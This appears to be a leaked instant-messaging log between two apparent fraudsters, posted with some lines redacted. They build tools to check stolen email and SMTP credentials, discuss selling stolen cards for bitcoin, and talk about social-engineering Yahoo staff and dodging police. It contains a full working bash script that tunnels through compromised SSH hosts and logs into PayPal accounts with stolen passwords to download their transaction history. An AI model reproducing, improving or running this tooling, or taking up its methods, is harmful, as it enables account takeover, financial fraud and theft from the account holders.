(10:17:51 PM) Attempting to refresh the private conversation with f0x@jabber.vc... (10:17:53 PM) Successfully refreshed the unverified conversation with f0x@jabber.vc//dev/null. (10:17:57 PM) ryan@exploit.im/38639844441390251365863043: I got the thunderbird algo figured out (10:19:12 PM) f0x@jabber.vc: what is about (10:19:15 PM) f0x@jabber.vc: except that db (10:19:17 PM) f0x@jabber.vc: they are contacting (10:19:20 PM) f0x@jabber.vc: i have that (10:19:21 PM) ryan@exploit.im/38639844441390251365863043: literally (10:19:23 PM) ryan@exploit.im/38639844441390251365863043: all they do (10:19:32 PM) ryan@exploit.im/38639844441390251365863043: is bruteforce pop. pop3. smtp. mail. (10:19:41 PM) f0x@jabber.vc: u have all the list (10:19:42 PM) ryan@exploit.im/38639844441390251365863043: and try the services on the domain (10:19:42 PM) f0x@jabber.vc: ? (10:19:46 PM) f0x@jabber.vc: only this 4 (10:19:47 PM) f0x@jabber.vc: ? (10:19:56 PM) ryan@exploit.im/38639844441390251365863043: so far that's all I've seen (10:19:58 PM) f0x@jabber.vc: i found other they find and the server is idffernt (10:20:00 PM) ryan@exploit.im/38639844441390251365863043: im going through the source still (10:20:02 PM) f0x@jabber.vc: from the domain (10:20:04 PM) ryan@exploit.im/38639844441390251365863043: can you give me (10:20:07 PM) ryan@exploit.im/38639844441390251365863043: like a few examples (10:20:09 PM) ryan@exploit.im/38639844441390251365863043: would help loads (10:20:09 PM) f0x@jabber.vc: let me remeber (10:20:43 PM) ryan@exploit.im/38639844441390251365863043: /root/src/mailnews/base/prefs/content/accountcreation/guessConfig.js (10:20:44 PM) ryan@exploit.im/38639844441390251365863043: this is the (10:20:46 PM) ryan@exploit.im/38639844441390251365863043: code they use (10:21:07 PM) ryan@exploit.im/38639844441390251365863043: it does (10:21:09 PM) ryan@exploit.im/38639844441390251365863043: a few things (10:21:24 PM) ryan@exploit.im/38639844441390251365863043: and its mostly comments (10:21:41 PM) f0x@jabber.vc: and also (10:21:42 PM) f0x@jabber.vc: try (10:21:44 PM) f0x@jabber.vc: mx server (10:21:46 PM) f0x@jabber.vc: for that server (10:21:50 PM) f0x@jabber.vc: like host server|grep mail (10:21:50 PM) ryan@exploit.im/38639844441390251365863043: yea (10:21:52 PM) ryan@exploit.im/38639844441390251365863043: ofc (10:22:03 PM) f0x@jabber.vc: ok (10:22:05 PM) f0x@jabber.vc: take care with ink (10:22:20 PM) f0x@jabber.vc: i got tipped by my backdoor guy @ police they have been called by uk police (10:22:23 PM) f0x@jabber.vc: ask about me (10:22:31 PM) f0x@jabber.vc: they've sent my file from here etc (10:22:34 PM) f0x@jabber.vc: started investigations (10:22:38 PM) ryan@exploit.im/38639844441390251365863043: if that's the case (10:22:40 PM) ryan@exploit.im/38639844441390251365863043: you should leave (10:22:50 PM) f0x@jabber.vc: but i didnt worked anything with him (10:22:54 PM) ryan@exploit.im/38639844441390251365863043: { resultConfig.source = AccountConfig.kSourceUser; resultConfig.incoming.hostname = "mail." + domain; resultConfig.incoming.username = resultConfig.identity.emailAddress; resultConfig.outgoing.username = resultConfig.identity.emailAddress; resultConfig.incoming.type = "imap"; resultConfig.incoming.port = 143; resultConfig.incoming.socketType = 3; // starttls resultConfig.incoming.auth = Ci.nsMsgAuthMethod.passwordCleartext; resultConfig.outgoing.hostname = "smtp." + domain; resultConfig.outgoing.socketType = 1; resultConfig.outgoing.port = 587; resultConfig.outgoing.auth = Ci.nsMsgAuthMethod.passwordCleartext; resultConfig.incomingAlternatives.push({ hostname: "mail." + domain, username: resultConfig.identity.emailAddress, type: "pop3", port: 110, socketType: 3, auth: Ci.nsMsgAuthMethod.passwordCleartext }); successCallback(resultConfig); return null; } (10:22:55 PM) f0x@jabber.vc: like we didnt have common projects (10:22:57 PM) ryan@exploit.im/38639844441390251365863043: yeah (10:22:58 PM) ryan@exploit.im/38639844441390251365863043: but (10:22:58 PM) ryan@exploit.im/38639844441390251365863043: still (10:23:04 PM) ryan@exploit.im/38639844441390251365863043: gotta be careful (10:23:07 PM) f0x@jabber.vc: yes (10:23:28 PM) ryan@exploit.im/38639844441390251365863043: this code is pretty hard to read (10:23:35 PM) ryan@exploit.im/38639844441390251365863043: im not too familiar with javascript (10:23:36 PM) f0x@jabber.vc: yes (10:23:36 PM) f0x@jabber.vc: js sux (10:23:38 PM) ryan@exploit.im/38639844441390251365863043: and there's (10:23:42 PM) ryan@exploit.im/38639844441390251365863043: lots of stupid comments (10:23:46 PM) ryan@exploit.im/38639844441390251365863043: that just look confusing (10:23:52 PM) f0x@jabber.vc: for gayish people which are used to code in ide's (10:24:01 PM) ryan@exploit.im/38639844441390251365863043: lol (10:24:02 PM) ryan@exploit.im/38639844441390251365863043: yeah (10:24:04 PM) ryan@exploit.im/38639844441390251365863043: mostly for people (10:24:08 PM) ryan@exploit.im/38639844441390251365863043: that make websites (10:24:13 PM) ryan@exploit.im/38639844441390251365863043: not fucking email clients (10:24:18 PM) ryan@exploit.im/38639844441390251365863043: why would you want to do that lol (10:25:04 PM) ryan@exploit.im/38639844441390251365863043: so we just try (10:25:17 PM) ryan@exploit.im/38639844441390251365863043: smtp. pop3. imap. mail. domain.com (10:25:23 PM) ryan@exploit.im/38639844441390251365863043: and different smtp ports (10:25:42 PM) f0x@jabber.vc: yes (10:25:44 PM) f0x@jabber.vc: and also (10:25:47 PM) f0x@jabber.vc: host domain|grep mail (10:25:47 PM) ryan@exploit.im/38639844441390251365863043: I think I can make python automatically detect crypto and stuff (10:25:49 PM) ryan@exploit.im/38639844441390251365863043: yea (10:25:58 PM) ryan@exploit.im/38639844441390251365863043: what do you use now to check the smtp servers (10:26:06 PM) f0x@jabber.vc: check (10:26:11 PM) f0x@jabber.vc: /root/sendernew/check-smtps.php (10:26:21 PM) f0x@jabber.vc: have some classes there which do that (10:26:26 PM) ryan@exploit.im/38639844441390251365863043: okay (10:26:31 PM) ryan@exploit.im/38639844441390251365863043: ill try to write it in python (10:27:23 PM) f0x@jabber.vc: dont mind about that (10:27:25 PM) f0x@jabber.vc: works preety fine (10:27:33 PM) ryan@exploit.im/38639844441390251365863043: o ok (10:27:36 PM) f0x@jabber.vc: like they work @ this smtp calssess sience some years ago (10:27:46 PM) f0x@jabber.vc: and they handlel preety much all errors u can get (10:27:52 PM) f0x@jabber.vc: also for sending they manage well enconding n shit (10:27:56 PM) ryan@exploit.im/38639844441390251365863043: ot (10:27:57 PM) ryan@exploit.im/38639844441390251365863043: thats good (10:28:11 PM) f0x@jabber.vc: only the list (10:28:14 PM) f0x@jabber.vc: which sould be checkd (10:28:18 PM) f0x@jabber.vc: we gotta make that generator (10:28:24 PM) ryan@exploit.im/38639844441390251365863043: ah (10:28:25 PM) ryan@exploit.im/38639844441390251365863043: i see (10:28:28 PM) ryan@exploit.im/38639844441390251365863043: yea (10:28:39 PM) ryan@exploit.im/38639844441390251365863043: what are smtp ports (10:28:39 PM) f0x@jabber.vc: adn that pp script (10:28:40 PM) ryan@exploit.im/38639844441390251365863043: usually (10:28:41 PM) f0x@jabber.vc: woudl be usefull (10:28:47 PM) ryan@exploit.im/38639844441390251365863043: pp script i think might be impossible (10:28:49 PM) f0x@jabber.vc: 25 465 587 (10:28:49 PM) ryan@exploit.im/38639844441390251365863043: every time I tried (10:28:50 PM) ryan@exploit.im/38639844441390251365863043: it gave me (10:28:51 PM) ryan@exploit.im/38639844441390251365863043: 443 (10:28:57 PM) ryan@exploit.im/38639844441390251365863043: not 443 (10:28:58 PM) ryan@exploit.im/38639844441390251365863043: I mean (10:28:59 PM) ryan@exploit.im/38639844441390251365863043: 500 (10:29:00 PM) ryan@exploit.im/38639844441390251365863043: error 500 (10:29:04 PM) f0x@jabber.vc: ok (10:29:06 PM) f0x@jabber.vc: ill take a look (10:29:06 PM) ryan@exploit.im/38639844441390251365863043: when I tried in browser (10:29:15 PM) ryan@exploit.im/38639844441390251365863043: maybe it was a temporary bug ill check in a moment (10:29:18 PM) ryan@exploit.im/38639844441390251365863043: but let me get this working (10:29:28 PM) ryan@exploit.im/38639844441390251365863043: so lets say (10:29:29 PM) ryan@exploit.im/38639844441390251365863043: domain is (10:29:31 PM) ryan@exploit.im/38639844441390251365863043: test.com (10:29:36 PM) ryan@exploit.im/38639844441390251365863043: and test.com isn't in domains.cfg (10:29:38 PM) ryan@exploit.im/38639844441390251365863043: we'll try (10:29:44 PM) f0x@jabber.vc: look what i did (10:29:50 PM) ryan@exploit.im/38639844441390251365863043: if theres a mx record (10:29:56 PM) f0x@jabber.vc: yes (10:29:58 PM) f0x@jabber.vc: that first (10:30:04 PM) ryan@exploit.im/38639844441390251365863043: does it need to know (10:30:07 PM) ryan@exploit.im/38639844441390251365863043: if its ssl or not (10:30:14 PM) f0x@jabber.vc: u just generate (10:30:15 PM) f0x@jabber.vc: for that domain (10:30:15 PM) f0x@jabber.vc: all (10:30:15 PM) ryan@exploit.im/38639844441390251365863043: or will the sender guess ssl (10:30:16 PM) f0x@jabber.vc: plain (10:30:17 PM) f0x@jabber.vc: ssl (10:30:17 PM) f0x@jabber.vc: or tls (10:30:20 PM) ryan@exploit.im/38639844441390251365863043: okay (10:30:22 PM) ryan@exploit.im/38639844441390251365863043: sec (10:30:28 PM) f0x@jabber.vc: and all 3 ports (10:30:32 PM) f0x@jabber.vc: 465 587 and 25 (10:30:41 PM) ryan@exploit.im/38639844441390251365863043: ya (10:30:42 PM) f0x@jabber.vc: usulay 465 is for ssl and 587 for tls (10:30:45 PM) f0x@jabber.vc: but it's not standard (10:30:48 PM) f0x@jabber.vc: i seen also differnet (10:35:44 PM) ryan@exploit.im/38639844441390251365863043: root@a19s16:~/sendernew# python gen.py gmail.com mail.gmail.com.25 plain mail.gmail.com.465 ssl mail.gmail.com.587 tls smtp.gmail.com.25 plain smtp.gmail.com.465 ssl smtp.gmail.com.587 tls mx.gmail.com.25 plain mx.gmail.com.465 ssl mx.gmail.com.587 tls (10:35:45 PM) ryan@exploit.im/38639844441390251365863043: okay (10:35:46 PM) ryan@exploit.im/38639844441390251365863043: wait (10:35:57 PM) ryan@exploit.im/38639844441390251365863043: ok now (10:36:07 PM) ryan@exploit.im/38639844441390251365863043: it doesn't do host.port (10:36:10 PM) ryan@exploit.im/38639844441390251365863043: but host space port (10:36:16 PM) ryan@exploit.im/38639844441390251365863043: root@a19s16:~/sendernew# python gen.py gmail.com mail.gmail.com 25 plain mail.gmail.com 465 ssl mail.gmail.com 587 tls smtp.gmail.com 25 plain smtp.gmail.com 465 ssl smtp.gmail.com 587 tls mx.gmail.com 25 plain mx.gmail.com 465 ssl mx.gmail.com 587 tls (10:36:28 PM) f0x@jabber.vc: [Log redacted for display on r000t.com] (10:36:30 PM) f0x@jabber.vc: this isthe format (10:36:32 PM) f0x@jabber.vc: that sende ruse (10:36:38 PM) f0x@jabber.vc: this is the format that sender use* (10:36:57 PM) ryan@exploit.im/38639844441390251365863043: so you just make (10:37:26 PM) f0x@jabber.vc: [00:32:56] how much for 15pieces? [00:34:35] this one already sold [00:34:43] 14* 30= 420 [00:34:47] with discount 300$ [00:36:32] leave your bitcoin, in about 5hour i send [00:36:53] 19omD7eWMwi5J4x5NibZLPPJkkawekhBpR [00:37:02] [Log redacted for display on r000t.com] [00:37:05] i gav eu cards [00:37:08] notice me when u send payemtn (10:37:33 PM) f0x@jabber.vc: u shoudl receive 300$ bitcoin in 5 hours (10:37:40 PM) f0x@jabber.vc: notice me if not i move this client to blacklist (10:37:51 PM) f0x@jabber.vc: i gave ur btc addr (10:37:57 PM) ryan@exploit.im/38639844441390251365863043: smtp=`grep "^$domain " ./src/domains.cfg &&awk '{print $2" "$3" "$4}'||python gen.py $domain`; (10:37:57 PM) f0x@jabber.vc: heu usualy pays but u never know (10:37:58 PM) ryan@exploit.im/38639844441390251365863043: this should work (10:37:59 PM) ryan@exploit.im/38639844441390251365863043: let me try (10:38:41 PM) ryan@exploit.im/38639844441390251365863043: odd it freezes (10:38:42 PM) ryan@exploit.im/38639844441390251365863043: sec (10:41:00 PM) ryan@exploit.im/38639844441390251365863043: ill just (10:41:04 PM) ryan@exploit.im/38639844441390251365863043: rewrite check-smtps.sh (10:41:06 PM) ryan@exploit.im/38639844441390251365863043: in python (10:41:07 PM) ryan@exploit.im/38639844441390251365863043: completely (10:41:15 PM) ryan@exploit.im/38639844441390251365863043: because doing this in bash would require black magics (10:42:03 PM) f0x@jabber.vc: and also (10:42:15 PM) f0x@jabber.vc: we should rewrite check-smtps.php (10:42:18 PM) ryan@exploit.im/38639844441390251365863043: ya (10:42:20 PM) ryan@exploit.im/38639844441390251365863043: but so basically (10:42:22 PM) ryan@exploit.im/38639844441390251365863043: 1st you do (10:42:22 PM) f0x@jabber.vc: if it find new domain which is isnt in dmains.cfg (10:42:25 PM) f0x@jabber.vc: adds it (10:42:27 PM) ryan@exploit.im/38639844441390251365863043: check-smtps.sh (10:42:40 PM) ryan@exploit.im/38639844441390251365863043: and then you do php check-smtps.php (10:42:50 PM) f0x@jabber.vc: check-smtps.sh (10:42:52 PM) f0x@jabber.vc: and for notfound (10:42:53 PM) f0x@jabber.vc: i do (10:42:55 PM) f0x@jabber.vc: gen-domains.sh (10:42:57 PM) ryan@exploit.im/38639844441390251365863043: o ok (10:42:58 PM) f0x@jabber.vc: and host-domains.sh (10:43:13 PM) ryan@exploit.im/38639844441390251365863043: so (10:43:16 PM) ryan@exploit.im/38639844441390251365863043: I'll just make (10:43:17 PM) ryan@exploit.im/38639844441390251365863043: 1 script (10:43:18 PM) ryan@exploit.im/38639844441390251365863043: that does (10:43:19 PM) ryan@exploit.im/38639844441390251365863043: it all (10:43:25 PM) ryan@exploit.im/38639844441390251365863043: and runs check-smtps.php (10:43:40 PM) ryan@exploit.im/38639844441390251365863043: after it gets all smtps (10:44:31 PM) f0x@jabber.vc: with ar'gs (10:44:39 PM) f0x@jabber.vc: file and number of threads (10:44:54 PM) f0x@jabber.vc: which should be preety low because some domains ban u if u do more than n connections in a certain period of time (10:46:09 PM) ryan@exploit.im/38639844441390251365863043: ya (10:46:33 PM) f0x@jabber.vc: ok (10:46:42 PM) f0x@jabber.vc: anyway thanx (10:46:48 PM) f0x@jabber.vc: good to hear u into it (10:46:52 PM) ryan@exploit.im/38639844441390251365863043: paste me (10:46:54 PM) ryan@exploit.im/38639844441390251365863043: a few paypals btw (10:46:59 PM) ryan@exploit.im/38639844441390251365863043: ill see if i can just scrape the html (10:47:03 PM) ryan@exploit.im/38639844441390251365863043: if the download thing wont work (10:47:07 PM) ryan@exploit.im/38639844441390251365863043: I could maybe go through it page by page (10:47:23 PM) f0x@jabber.vc: [Log redacted for display on r000t.com] (10:47:32 PM) ryan@exploit.im/38639844441390251365863043: hot (1/22/2014 12:36:40 AM) f0x@jabber.vc: hwos going (12:36:52 AM) ryan@exploit.im/38639844441390251365863043: uh (12:36:53 AM) ryan@exploit.im/38639844441390251365863043: python (12:36:55 AM) ryan@exploit.im/38639844441390251365863043: is being weird (12:41:36 AM) ryan@exploit.im/38639844441390251365863043: python gen.py test.txt (12:41:37 AM) ryan@exploit.im/38639844441390251365863043: try it (2:57:35 AM) f0x@jabber.vc: wait (2:57:37 AM) f0x@jabber.vc: still here (2:59:19 AM) ryan@exploit.im/38639844441390251365863043: ya (2:59:19 AM) ryan@exploit.im/38639844441390251365863043: also (2:59:21 AM) ryan@exploit.im/38639844441390251365863043: gonna (2:59:23 AM) ryan@exploit.im/38639844441390251365863043: try to hack yahoo (2:59:36 AM) f0x@jabber.vc: 2 use it for sending emails (2:59:36 AM) f0x@jabber.vc: ? (2:59:42 AM) ryan@exploit.im/38639844441390251365863043: no mostly for the sake of hacking it (2:59:45 AM) ryan@exploit.im/38639844441390251365863043: but that can b done too (2:59:47 AM) ryan@exploit.im/38639844441390251365863043: if this works (2:59:55 AM) ryan@exploit.im/38639844441390251365863043: just going to social engineer staff logins (3:01:12 AM) ryan@exploit.im/38639844441390251365863043: https://yahoo-en.custhelp.com/cgi-bin/yahoo_en.cfg/php/custom/star_api/star_soap.php?wsdl/createCase (3:01:13 AM) ryan@exploit.im/38639844441390251365863043: this is fun (3:04:48 AM) ryan@exploit.im/38639844441390251365863043: trying to get access to amt.yahoo.com (3:28:34 AM) ryan@exploit.im/38639844441390251365863043: your guy (3:28:36 AM) ryan@exploit.im/38639844441390251365863043: hasn't paid yet (3:28:37 AM) ryan@exploit.im/38639844441390251365863043: btw (3:59:44 AM) f0x@jabber.vc: ok (3:59:45 AM) f0x@jabber.vc: contacing (4:18:55 AM) ryan@exploit.im/38639844441390251365863043: he respond? (4:19:57 AM) f0x@jabber.vc: no but if u need ill send from my account (4:20:03 AM) f0x@jabber.vc: and will handle it after (4:20:03 AM) ryan@exploit.im/38639844441390251365863043: nah its np (4:20:04 AM) f0x@jabber.vc: sec (4:20:15 AM) f0x@jabber.vc: perfectmoney ok? (4:20:17 AM) f0x@jabber.vc: give purse (4:20:19 AM) ryan@exploit.im/38639844441390251365863043: nah I don't (4:20:21 AM) ryan@exploit.im/38639844441390251365863043: need money atm (4:20:25 AM) ryan@exploit.im/38639844441390251365863043: was just wondering (4:20:39 AM) f0x@jabber.vc: he will pay probably in the morning when he wakes up (4:20:43 AM) ryan@exploit.im/38639844441390251365863043: yah (4:20:51 AM) f0x@jabber.vc: anyway more payemtns to be received tommrow (4:20:56 AM) ryan@exploit.im/38639844441390251365863043: rather late now anyways (4:21:33 AM) f0x@jabber.vc: have u tried fix that pp script (4:22:09 AM) ryan@exploit.im/38639844441390251365863043: i looked at it (4:22:14 AM) ryan@exploit.im/38639844441390251365863043: but haven't gotten around it yet (4:22:28 AM) ryan@exploit.im/38639844441390251365863043: it works on most accounts right now, yes? (4:24:58 AM) f0x@jabber.vc: have tried it (4:25:00 AM) f0x@jabber.vc: i have some bash script (4:25:06 AM) f0x@jabber.vc: that works only if history it's not bi (4:25:06 AM) f0x@jabber.vc: g (4:25:07 AM) f0x@jabber.vc: i can paste (4:25:08 AM) f0x@jabber.vc: wait (4:25:10 AM) ryan@exploit.im/38639844441390251365863043: ya (4:25:13 AM) ryan@exploit.im/38639844441390251365863043: if history is big (4:25:18 AM) ryan@exploit.im/38639844441390251365863043: paypal bugs (4:25:27 AM) f0x@jabber.vc: #!/bin/bash from="`date --date="-2 years + 1 day" +"%d.%m.%Y"`"; to="`date +"%d.%m.%Y"`"; #from="`date --date="-2 years + 1 day" +"%d/%m/%Y"`"; #to="`date +"%d/%m/%Y"`"; function start_tunel { echo "Starting tunnel $1 on port $2"; user=`echo $1|awk -F \: '{print $1}'`; pass=`echo $1|awk -F \: '{print $2}'`; host=`echo $1|awk -F \: '{print $3}'`; port=$2; echo y |proxychains plink $user@$host -pw $pass -D $port -N &>/dev/null & echo $! > ./tmp/$port.pid i=1; while ! nc -w 1 -z 127.0.0.1 $port &> /dev/null do if [ $i -eq 20 ] then break; fi sleep 0.5; i=$((i+1)); done if nc -w 1 -z 127.0.0.1 $port &> /dev/null then return 0; fi return 1; } function stop_tunel { echo "Stopping tunnel on port $1"; pid=`cat ./tmp/$1.pid`; if kill -0 $pid &>/dev/null then disown $pid kill -9 $pid else echo "$2 $3" >> recheck fi rm -rf ./tmp/$1.pid #echo " -> DONE"; sleep 0.5; } function download_history { user_agent="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0"; url='https://www.paypal.com/cgi-bin/webscr?cmd=_login-run'; url2="https://history.paypal.com/cgi-bin/webscr?cmd=_history"; data="login_email=$1&login_password=$2&submit_x=Log In" data2="download_last_file_type_hidden=&dateoption=dateselect&from_date=$from&to_date=$to&download_file_type_lightbox=custom_file_type_csv&download_file_submit=Download&form_charset=UTF-8"; c="./tmp/$1.cookie"; echo "Login as $1"; curl -s -A "$user_agent" --connect-timeout 15 -b $c -c $c --socks5 $3 $url > ./tmp/$1.login.html action_url=`cat ./tmp/$1.login.html|grep "login-submit"|awk -F 'action="' '{print $2}'|awk -F \" '{print $1}'`; c_a=`echo $action_url|wc -m`; if [ $c_a -lt 5 ] then echo $1 $2 >> recheck; else echo "Posting data on $action_url"; curl -s -A "$user_agent" --connect-timeout 25 -b $c -c $c --socks5 $3 -L -d "$data" $action_url > ./tmp/$1.html if ! cat tmp/$1.html|grep 'login_email' > /dev/null then echo "$1 $2" >> pps.good echo "downloading history for account $1 -> "; curl -s -A "$user_agent" -m 300 -b $c -c $c --socks5 $3 -L -d "$data2" "$url2" > ./logs/$1.csv; if [ -f ./logs/$1.csv ] then if cat ./logs/$1.csv|grep ' /dev/null then mv ./logs/$1.csv ./verify/ echo "$1 $2 $4" >> big_history fi else echo "$1 $2" >> recheck fi fi fi } start_tunel $1 $2 download_history "$3" "$4" "127.0.0.1:$2" "$1" stop_tunel $2 "$3" "$4" (4:25:44 AM) f0x@jabber.vc: this is for normal accounts (4:25:45 AM) f0x@jabber.vc: and works (4:26:36 AM) ryan@exploit.im/38639844441390251365863043: paste one (4:26:37 AM) ryan@exploit.im/38639844441390251365863043: with big history (4:26:58 AM) f0x@jabber.vc: acct? (4:27:01 AM) ryan@exploit.im/38639844441390251365863043: ya (4:27:08 AM) f0x@jabber.vc: [Log redacted for display on r000t.com] (4:36:27 AM) ryan@exploit.im/38639844441390251365863043: okay (4:36:30 AM) ryan@exploit.im/38639844441390251365863043: seems like (4:36:34 AM) ryan@exploit.im/38639844441390251365863043: its working now (4:38:25 AM) ryan@exploit.im/38639844441390251365863043: ill finish (4:38:27 AM) ryan@exploit.im/38639844441390251365863043: paypal thing (4:38:29 AM) ryan@exploit.im/38639844441390251365863043: once I wake up (4:38:33 AM) ryan@exploit.im/38639844441390251365863043: been up for like 20 hours now (4:38:35 AM) ryan@exploit.im/38639844441390251365863043: night (4:38:56 AM) ryan@exploit.im/38639844441390251365863043: also got btc (4:39:04 AM) ryan@exploit.im/38639844441390251365863043: $300 (4:39:07 AM) ryan@exploit.im/38639844441390251365863043: just received (4:40:02 AM) f0x@jabber.vc: ok (4:40:02 AM) f0x@jabber.vc: perfect